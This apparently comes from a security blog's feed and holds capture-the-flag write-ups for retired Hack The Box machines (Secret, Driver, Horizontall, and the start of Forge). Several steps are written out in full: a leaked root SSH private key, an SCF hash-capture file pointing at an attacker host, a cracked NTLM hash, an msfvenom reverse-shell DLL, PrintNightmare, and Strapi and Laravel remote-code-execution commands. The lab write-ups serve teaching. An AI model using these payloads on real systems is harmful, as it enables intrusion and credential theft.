<p><a href="https://gist.github.com/maggick/af4eb7b8bc2aa3e55e3f8f02400235ee"><img alt="https://gist.github.com/maggick/af4eb7b8bc2aa3e55e3f8f02400235ee" src="/media/2022.03/secret_l.py.png"/></a></p>
<p>We can then connect using SSH and get the user flag.</p>
<div class="highlight"><pre><span></span><code>$ ssh dasith@10.129.173.112
dasith@secret:~$ cat user.txt
7eb18a62ea270f0da664dac963a7fa05
</code></pre></div>
<h1>Root</h1>
<p>Looking at the available file and specifically the SUID ones we found interesting
stuff in <code>/opt</code> as there is a <code>valgrind.log</code> file, a <code>code.c</code> file and a SUID
compiled binary. The presence of the <a href="https://valgrind.org/">valgrind</a> file
hint us that the binary allow for core dump.</p>
<p>We run the SUID binary and enumerate the <code>/root/</code> and the <code>/root/.ssh/</code> folders.
There is a private SSH key that we want to retrieve.</p>
<div class="highlight"><pre><span></span><code>dasith@secret:/opt$ ./count
Enter source file/directory name: /root/
-rw-r--r-- .viminfo
drwxr-xr-x ..
-rw-r--r-- .bashrc
drwxr-xr-x .local
drwxr-xr-x snap
lrwxrwxrwx .bash_history
drwx------ .config
drwxr-xr-x .pm2
-rw-r--r-- .profile
drwxr-xr-x .vim
drwx------ .
drwx------ .cache
-r-------- root.txt
drwxr-xr-x .npm
drwx------ .ssh
Total entries = 15
Regular files = 4
Directories = 10
Symbolic links = 1
Save results a file? [y/N]: n
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/.ssh/
drwx------ ..
-rw------- authorized_keys
-rw------- id_rsa
drwx------ .
-rw-r--r-- id_rsa.pub
Total entries = 5
Regular files = 3
Directories = 2
Symbolic links = 0
Save results a file? [y/N]: n
</code></pre></div>
<p>We run the program again and this time we "read" the SSH key. We then put the
program on background with <ctrl+z> and send a
<a href="https://en.wikipedia.org/wiki/Segmentation_fault">Segmentation Fault (SIGSEV)</a>
to the application using <code>kill</code> and put it back in the foreground generating a
core dump.</ctrl+z></p>
<div class="highlight"><pre><span></span><code>dasith@secret:/opt$ ./count
Enter source file/directory name: /root/.ssh/id_rsa
Total characters = 2602
Total words = 45
Total lines = 39
Save results a file? [y/N]: ^Z
[1]+ Stopped ./count
dasith@secret:/opt$ ps
PID TTY TIME CMD
1377 pts/0 00:00:00 bash
1427 pts/0 00:00:00 count
1456 pts/0 00:00:00 ps
dasith@secret:/opt$ kill -SIGSEGV 1427
dasith@secret:/opt$ fg
-bash: fg: job has terminated
[1]+ Segmentation fault (core dumped) ./count
</code></pre></div>
<p>We use <code>appor-unpack</code> to unpack our core dump file and look for the SSH key in
it.</p>
<div class="highlight"><pre><span></span><code>dasith@secret:/opt$ apport-unpack /var/crash/_opt_count.1000.crash /tmp/p
dasith@secret:/opt$ strings /tmp/p/CoreDump
<snip>
Save results a file? [y/N]: l words = 45
Total lines = 39
/root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
</snip></code></pre></div>
<p>We save the SSH key and use it to connect to the box and grab the root flag.</p>
<div class="highlight"><pre><span></span><code>└─$ ssh root@10.129.173.112 -i id_rsa_root
root@secret:~# cat root.txt
bb59318145fdf4a7ea1f50e6c829141c
</code></pre></div>
<h1>Wrapping up</h1>
<p>An interesting box quit quick if you know what to do! The root part was harder
for me as I never exploited that before.
Also I tested some novelty in this article with the
<a href="https://carbon.now.sh/">carbon</a> code snippet not sure to keep it that way as it
make it harder to copy paste and grep information from the article.</p>HTB: Driver2022-02-27T11:40:00+01:002022-02-27T11:40:00+01:00maggicktag:maggick.fr,2022-02-27:/2022/02/htb-driver.html<p><img alt="Driver Card" class="align-left" src="/media/2022.02/driver_card.png" width="262"/></p>
<p>This article is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/387">Driver</a> published on
October 2, 2021 by
<a href="https://www.hackthebox.com/home/users/profile/13531">MrR3boot</a>.
This box is rated as easy box the user part implies a "standard" password, a
<a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">SCF file</a>
and <a href="https://github.com/lgandx/Responder">Responder</a>
The root part is nudged by a few hints (box logo,printer on the foothold
website) and implies the use of the CVE-2021-1675 and CVE-2021-34527 also know
as PrintNightmare.</p>
<p><img alt="Driver Card" class="align-left" src="/media/2022.02/driver_card.png" width="262"/></p>
<p>This article is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/387">Driver</a> published on
October 2, 2021 by
<a href="https://www.hackthebox.com/home/users/profile/13531">MrR3boot</a>.
This box is rated as easy box the user part implies a "standard" password, a
<a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">SCF file</a>
and <a href="https://github.com/lgandx/Responder">Responder</a>
The root part is nudged by a few hints (box logo,printer on the foothold
website) and implies the use of the CVE-2021-1675 and CVE-2021-34527 also know
as PrintNightmare.</p>
<h1>User</h1>
<h2>Recon</h2>
<p>Let us start as always by a <code>nmap</code> scan. Only port 21 (FTP), 22 (SSH) and 80 with a HTTP
service are open.</p>
<div class="highlight"><pre><span></span><code>PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=MFP Firmware Update Center. Please enter password for admin
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 7h00m01s, deviation: 0s, median: 7h00m01s
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-10-21T22:20:07
|_ start_date: 2021-10-21T22:16:01
</code></pre></div>
<h2>Web</h2>
<p>The website on port 80 ask for a basic authentication.</p>
<blockquote>
<p>http://10.129.171.196 is requesting your username and password. The site says: “MFP Firmware Update Center. Please enter password for admin”</p>
</blockquote>
<p>We know that the user is admin and we try a few standard passwords: 'password'
'123456' and 'admin'. The latest one is working.</p>
<p>The website is offering to test printer Firmware.</p>
<p><img alt="MFP Firmware Update Center" class="image-process-article-image" src="/media/2022.02/derivatives/article-image/driver_01.png"/></p>
<h2>SCF file attack</h2>
<p>As mentionned on the Firmware update page:</p>
<blockquote>
<p>Select printer model and upload the respective firmware update to our file share. Our testing team will review the uploads manually and initiates the testing soon.</p>
</blockquote>
<p>As we know the testing team will review the file we can use a
<a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">SCF file attack</a>
to grab the user NTLMv2 hash.</p>
<p>Our SCF file is the following:</p>
<div class="highlight"><pre><span></span><code>[Shell]
Command=2
IconFile=\\10.10.14.55\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop
</code></pre></div>
<p>The responder we launched before uploading our "firmware" file grab the <code>tony</code>
user hash:</p>
<div class="highlight"><pre><span></span><code>└─$ sudo responder -I tun0 130 ⨯
<snip>
[SMB] NTLMv2-SSP Client : 10.129.242.208
[SMB] NTLMv2-SSP Username : DRIVER\tony
[SMB] NTLMv2-SSP Hash : tony::DRIVER:61dd54e51643d459:DFE0DC661F09DAFC004EC1844E9C4721:0101000000000000806B289471C6D7019A27EFE77C3A82220000000002000800350030004900410001001E00570049004E002D004A0053003900390048004F004D005800510052004A0004003400570049004E002D004A0053003900390048004F004D005800510052004A002E0035003000490041002E004C004F00430041004C000300140035003000490041002E004C004F00430041004C000500140035003000490041002E004C004F00430041004C0007000800806B289471C6D7010600040002000000080030003000000000000000000000000020000043273E6F56DF2738F8BCFF72F774D5270EEE087137EC21179464F2626C47E0800A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E0035003500000000000000000000000000
</snip></code></pre></div>
<h2>Cracking hash</h2>
<p>We run <code>hashcat</code> on it and grab <code>tony</code>'s password: <code>liltony</code>.</p>
<p>└─$ hashcat hash -m 5600 -a 0 /home/kali/tools/password_lists/rockyou.txt --show
TONY::DRIVER:61dd54e51643d459:dfe0dc661f09dafc004ec1844e9c4721:0101000000000000806b289471c6d7019a27efe77c3a82220000000002000800350030004900410001001e00570049004e002d004a0053003900390048004f004d005800510052004a0004003400570049004e002d004a0053003900390048004f004d005800510052004a002e0035003000490041002e004c004f00430041004c000300140035003000490041002e004c004f00430041004c000500140035003000490041002e004c004f00430041004c0007000800806b289471c6d7010600040002000000080030003000000000000000000000000020000043273e6f56df2738f8bcff72f774d5270eee087137ec21179464f2626c47e0800a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0035003500000000000000000000000000:liltony</p>
<p>Using <a href="https://github.com/Hackplayers/evil-winrm">evil winrm</a> we can connect to
the box using <code>tony</code> credentials and grab the user flag.</p>
<div class="highlight"><pre><span></span><code>└─$ ./evil-winrm.rb -i 10.129.242.208 -u tony -p liltony 1 ⨯
Evil-WinRM shell v1.8
Info: Establishing connection to remote endpoint
[0;31;49m*Evil-WinRM*[0m[0;33;49m PS [0mC:\Users\tony\Documents> type ..\Desktop\user.txt
87900be0b26c6031b2cc4d8924950dc4
</code></pre></div>
<h1>Root</h1>
<p>Looking at the running services we see that the Spooler service is running. (Back
in October 2021, Print Nightmare was still the hypest vulnerability. Nobody had
looked at the <code>log4j</code> code yet.)</p>
<div class="highlight"><pre><span></span><code>[0;31;49m*Evil-WinRM*[0m[0;33;49m PS [0mC:\Users\tony\Documents> Get-Service -Name Spooler
Status Name DisplayName
------ ---- -----------
Running Spooler Print Spooler
</code></pre></div>
<p>A few Google searches lead us to a working <a href="https://github.com/ly4k/PrintNightmare">Print nightmare exploit</a>.</p>
<p>We generate a reverse shell DLL using msfvenom
<code>msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.55 LPORT=4444 -f dll -o /tmp/rev.dll</code></p>
<p>We upload it using <code>evil winrm</code> and grab the root flag.</p>
<div class="highlight"><pre><span></span><code>*Evil-WinRM* PS C:\Users\tony\Documents> upload /tmp/rev.dll
Info: Uploading /tmp/rev.dll to C:\Users\tony\Documents\rev.dll
python3 printnightmare.py tony:liltony@10.129.95.238 -dll 'C:\Users\tony\Documents\rev.dll'
C:\Users\Administrator\Desktop>type root.txt
type root.txt
c520e29ba1ecb523a541fc28b75ed0b3
</code></pre></div>
<h1>Wrapping up</h1>
<p>The SCF file attack was great to exploit as this is not something I personally use
a lot. The print nightmare was really interesting as this (was) is one of the
biggest vulnerability of 2021.</p>HTB: Horizontall2022-02-07T09:45:00+01:002022-02-07T09:45:00+01:00maggicktag:maggick.fr,2022-02-07:/2022/02/htb-horizontall.html<p><img alt="Horizontall Card" class="align-left" src="/media/2022.02/horizontall_card.png" width="262"/></p>
<p>This box is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/374">Horizontall</a> publish on
August 28, 2021 by
<a href="https://www.hackthebox.com/home/users/profile/4005">wail99</a>.
This box is rated as an easy machine. It implies a hidden subdomain, a <code>strapi</code>
exploit, some "tunneling" and a <code>laravel</code> exploit.</p>
<p><img alt="Horizontall Card" class="align-left" src="/media/2022.02/horizontall_card.png" width="262"/></p>
<p>This box is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/374">Horizontall</a> publish on
August 28, 2021 by
<a href="https://www.hackthebox.com/home/users/profile/4005">wail99</a>.
This box is rated as an easy machine. It implies a hidden subdomain, a <code>strapi</code>
exploit, some "tunneling" and a <code>laravel</code> exploit.</p>
<h1>Foothold and user</h1>
<h2>Recon</h2>
<p>Let us start as always by a <code>nmap</code> scan. Only port 80 (HTTP) and 22 (SSH) are
open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.91 scan initiated Sat Sep 11 09:22:36 2021 as: nmap -sSV -p- -oN notes.md -A 10.129.216.161
Nmap scan report for 10.129.216.161
Host is up (0.013s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
| 256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_ 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
<snip>
</snip></code></pre></div>
<h2>Web</h2>
<p>The website is just a marketing one without anything interesting in its content.
Looking at the loaded JavaScript file we found a specific call to a subdomain
that we can add to our <code>/etc/hosts</code>.</p>
<div class="highlight"><pre><span></span><code>└─$ curl http://horizontall.htb/js/app.c68eb462.js | /home/kali/.local/bin/js-beautify | grep horizontall
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 18900 100 18900 0 0 498k 0 --:--:-- --:--:-- --:--:-- 498k
href: "https://horizontall.htb"
r.a.get("http://api-prod.horizontall.htb/reviews").then((function(s) {
t.exports = e.p + "img/horizontall.2db2bc37.png"
</code></pre></div>
<p>The second website is a <a href="https://strapi.io/">strapi</a> website. Looking at the
specific we found that the version is 3.0.0-beta.17.4</p>
<div class="highlight"><pre><span></span><code>└─$ curl http://api-prod.horizontall.htb/admin/init
{"data":{"uuid":"a55da3bd-9693-4a08-9279-f9df57fd1817","currentEnvironment":"development","autoReload":false,"strapiVersion":"3.0.0-beta.17.4"}}
</code></pre></div>
<p>This version of <a href="https://strapi.io/">strapi</a> is vulnerable to a RCE exploit
available on <a href="https://www.exploit-db.com/exploits/50239">exploit-db (50239)</a>.</p>
<p>We load the exploit and we can run a <code>wget</code> against our own python server to
test the blind RCE.</p>
<div class="highlight"><pre><span></span><code>└─$ python3 50239 http://api-prod.horizontall.htb/
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit
[+] Password reset was successfully
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMxMDIyNzM2LCJleHAiOjE2MzM2MTQ3MzZ9.-UWojwKiQop7GU3filSvSDO9Z-VbCkmqQ26dUFPEr-k
$> wget 10.10.14.38:8000
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}
$> wget 10.10.14.38:8000/$(id)
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.216.161 - - [11/Sep/2021 09:54:17] code 404, message File not found
10.129.216.161 - - [11/Sep/2021 09:54:17] "GET /uid=1001(strapi) HTTP/1.1" 404 -
</code></pre></div>
<p>Now we just need to change the command and put our SSH public key in the SSH
<code>authorized_keys</code>.</p>
<div class="highlight"><pre><span></span><code>$> mkdir ~/.ssh/
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}
$> echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDVMEKiOVgCorfjoFTX4c/mX1hJZDEM491m37QYTW1kZJpn4yftI6QSgu/S8b0xrJu6lTrGj2NeTvvuuC9969QmyW6E7fDQdXQkkhuq/b9D+DgfudBBlWEfsJVeOvFqt/ZrAgp8VrT8p+HUEvUdKQ4sS828Xi7aDVhrs/stIdv2cgsiBdslMfDct40Pzu5uz1D3ZkBi5RJV+HPZ2yFGbDrQ8bVlAsQf6Mnlv5f+eshNPs8dtsyWNgYczN7IE8R18Cy3rc8wI1/r440PTsFvgBQNttW7Wl2QP8o+xrgOSYIpg6SL/9GMOLhqQtksHRvckEje+rYbumdenaCzk038zS3JWVYCMmNOsVV5Nqwa5oLJafOTUhFpeofuwDjKEldYYc90F1IR3IX1zrtmZIHFWHSU5zIlMk3nRq0BPs49gzMYyZH+ProRp/NTbUDH+sj13w2mNsZk8yrTOjocM5Sx3J5R3Md0Bmmo1ObODeaubeDKHBFBH3GrfZNT3nVFL80wYEU= kali@kali' > ~/.ssh/authorized_keys
</code></pre></div>
<p>We can then connect using SSH as the <code>strapi</code> user and get the user flag (who is
located in the <code>deveploper</code> user home).</p>
<div class="highlight"><pre><span></span><code>└─$ ssh strapi@horizontall.htb
<snip>
$ bash
strapi@horizontall:~$ id
uid=1001(strapi) gid=1001(strapi) groups=1001(strapi)
strapi@horizontall:~$ cat /home/developer/user.txt
81359f896a5e2a6909afdbdaa69a6bb3
</snip></code></pre></div>
<h1>Root</h1>
<p>We launch
<a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS">linpeas</a>
on the box, using <code>scp</code> to upload it. We found a few attacks vector including a
few service available directly on the box.</p>
<div class="highlight"><pre><span></span><code>strapi@horizontall:~$ netstat -lap
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:ssh 0.0.0.0:* LISTEN -
tcp 0 0 localhost:1337 0.0.0.0:* LISTEN 1803/node /usr/bin/
tcp 0 0 localhost:8000 0.0.0.0:* LISTEN -
tcp 0 0 localhost:mysql 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:http 0.0.0.0:* LISTEN -
</code></pre></div>
<p>We use SSH to establish a tunnel between our kalibox and the services.</p>
<p><code>ssh strapi@horizontall.htb -L 8000:127.0.0.1:8000</code></p>
<p>We can then browse to the service and see that this is a
<a href="https://laravel.com/">laravel</a> instance.</p>
<p><img alt="laraval" class="image-process-article-image" src="/media/2022.02/derivatives/article-image/horizontall_02.png"/></p>
<p>A Google search for "laravel exploit" lead us to an <a href="https://www.ambionics.io/blog/laravel-debug-rce">ambionics blog post</a>
about a laravel RCE.</p>
<p>Reading the article we found a <a href="https://github.com/ambionics/laravel-exploits">PoC available on github</a>.
We use it directly after downloading
<a href="https://github.com/ambionics/phpggc">phpggc</a>.</p>
<div class="highlight"><pre><span></span><code>└─$ php -d'phar.readonly=0' ./phpggc --phar phar -f -o /tmp/exploit.phar monolog/rce1 system id
└─$ python3 ./laravel-ignition-rce.py http://127.0.0.1:8000/ /tmp/exploit.phar
+ Log file: /home/developer/myproject/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
--------------------------
uid=0(root) gid=0(root) groups=0(root)
--------------------------
+ Logs cleared
</code></pre></div>
<p>Now that we have a <code>root</code> RCE we can just put our SSH public key in the
<code>authorized_keys</code> file and get a <code>root</code> SSH shell.</p>
<div class="highlight"><pre><span></span><code>└─$ php -d'phar.readonly=0' ./phpggc/phpggc --phar phar -f -o /tmp/exploit.phar monolog/rce1 system 'cp -r /opt/strapi/.ssh/ /root/'
└─$ python3 ./laravel-ignition-rce.py http://127.0.0.1:8000/ /tmp/exploit.phar
+ Log file: /home/developer/myproject/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
Exploit succeeded
+ Logs cleared
└─$ ssh root@horizontall.htb
<snip>
root@horizontall:~# id
uid=0(root) gid=0(root) groups=0(root)
root@horizontall:~# cat root.txt
3bb962593e5445ec5114b91e70c3d012
</snip></code></pre></div>
<h1>Wrapping up</h1>HTB: Forge2022-01-21T17:25:00+01:002022-01-21T17:25:00+01:00maggicktag:maggick.fr,2022-01-21:/2022/01/htb-forge.html<p><img alt="Forge Card" class="align-left" src="/media/2022.01/forge_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/376">Forge</a> publish on
September 11, 2021 by
<a href="https://www.hackthebox.com/home/users/profile/393721">NoobHacker9999</a>.
This box is rated as a medium machine but could be qualified as an easy medium
:). It implies a SSRF and an LFI as well as some Python and a
<a href="https://docs.python.org/3/library/pdb.html">PDB</a>.</p>
<p><img alt="Forge Card" class="align-left" src="/media/2022.01/forge_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/376">Forge</a> publish on
September 11, 2021 by
<a href="https://www.hackthebox.com/home/users/profile/393721">NoobHacker9999</a>.
This box is rated as a medium machine but could be qualified as an easy medium
:). It implies a SSRF and an LFI as well as some Python and a
<a href="https://docs.python.org/3/library/pdb.html">PDB</a>.</p>
<h1>Foothold</h1>
<h2>Recon</h2>
<p>Let us start as always by a <code>nmap</code> scan. Only port 80 (HTTP) and 22 (SSH) are
open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.91 scan initiated Friday Sep 17 04:59:56 2021 as: nmap -sSV -p- -oN notes.md -A 10.129.220.75
Nmap scan report for 10.129.220.75
Host is up (0.013s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
</code></pre></div>
<h2>Website</h2>
<p>The website is a gallery that allow to upload an image either from the
filesystem or from an URL.</p>
<p>We use <a href="https://github.com/xmendez/wfuzz">wfuzz</a> in addition to the
<a href="https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS">subdomain secList</a>
to discover that the domain admin.forge.htb exist.</p>
<div class="highlight"><pre><span></span><code><span class="err">```</span><span class="n">text</span>
<span class="err">└─</span><span class="o">$</span><span class="w"> </span><span class="n">wfuzz</span><span class="w"> </span><span class="o">-</span><span class="n">c</span><span class="w"> </span><span class="o">-</span><span class="n">w</span><span class="w"> </span><span class="n">subdomains</span><span class="o">-</span><span class="n">top1million</span><span class="o">-</span><span class="mf">5000.</span><span class="n">txt</span><span class="w"> </span><span class="o">--</span><span class="n">sc</span><span class="w"> </span><span class="mi">200</span><span class="w"> </span><span class="o">-</span><span class="n">H</span><span class="w"> </span><span class="s2">"HOST:FUZZ.forge.htb"</span><span class="w"> </span><span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="n">forge</span><span class="o">.</span><span class="n">htb</span>
<span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">python3</span><span class="o">/</span><span class="n">dist</span><span class="o">-</span><span class="n">packages</span><span class="o">/</span><span class="n">wfuzz</span><span class="o">/</span><span class="n">__init__</span><span class="o">.</span><span class="n">py</span><span class="p">:</span><span class="mi">34</span><span class="p">:</span><span class="w"> </span><span class="n">UserWarning</span><span class="p">:</span><span class="n">Pycurl</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="ow">not</span><span class="w"> </span><span class="n">compiled</span><span class="w"> </span><span class="n">against</span><span class="w"> </span><span class="n">Openssl</span><span class="o">.</span><span class="w"> </span><span class="n">Wfuzz</span><span class="w"> </span><span class="n">might</span><span class="w"> </span><span class="ow">not</span><span class="w"> </span><span class="n">work</span><span class="w"> </span><span class="n">correctly</span><span class="w"> </span><span class="n">when</span><span class="w"> </span><span class="n">fuzzing</span><span class="w"> </span><span class="n">SSL</span><span class="w"> </span><span class="n">sites</span><span class="o">.</span><span class="w"> </span><span class="n">Check</span><span class="w"> </span><span class="n">Wfuzz</span><span class="s1">'s documentation for more information.</span>
<span class="o">********************************************************</span>
<span class="o">*</span><span class="w"> </span><span class="n">Wfuzz</span><span class="w"> </span><span class="mf">3.1</span><span class="o">.</span><span class="mi">0</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">The</span><span class="w"> </span><span class="n">Web</span><span class="w"> </span><span class="n">Fuzzer</span><span class="w"> </span><span class="o">*</span>
<span class="o">********************************************************</span>
<span class="n">Target</span><span class="p">:</span><span class="w"> </span><span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="n">forge</span><span class="o">.</span><span class="n">htb</span><span class="o">/</span>
<span class="n">Total</span><span class="w"> </span><span class="n">requests</span><span class="p">:</span><span class="w"> </span><span class="mi">4989</span>
<span class="o">=====================================================================</span>
<span class="n">ID</span><span class="w"> </span><span class="n">Response</span><span class="w"> </span><span class="n">Lines</span><span class="w"> </span><span class="n">Word</span><span class="w"> </span><span class="n">Chars</span><span class="w"> </span><span class="n">Payload</span>
<span class="o">=====================================================================</span>
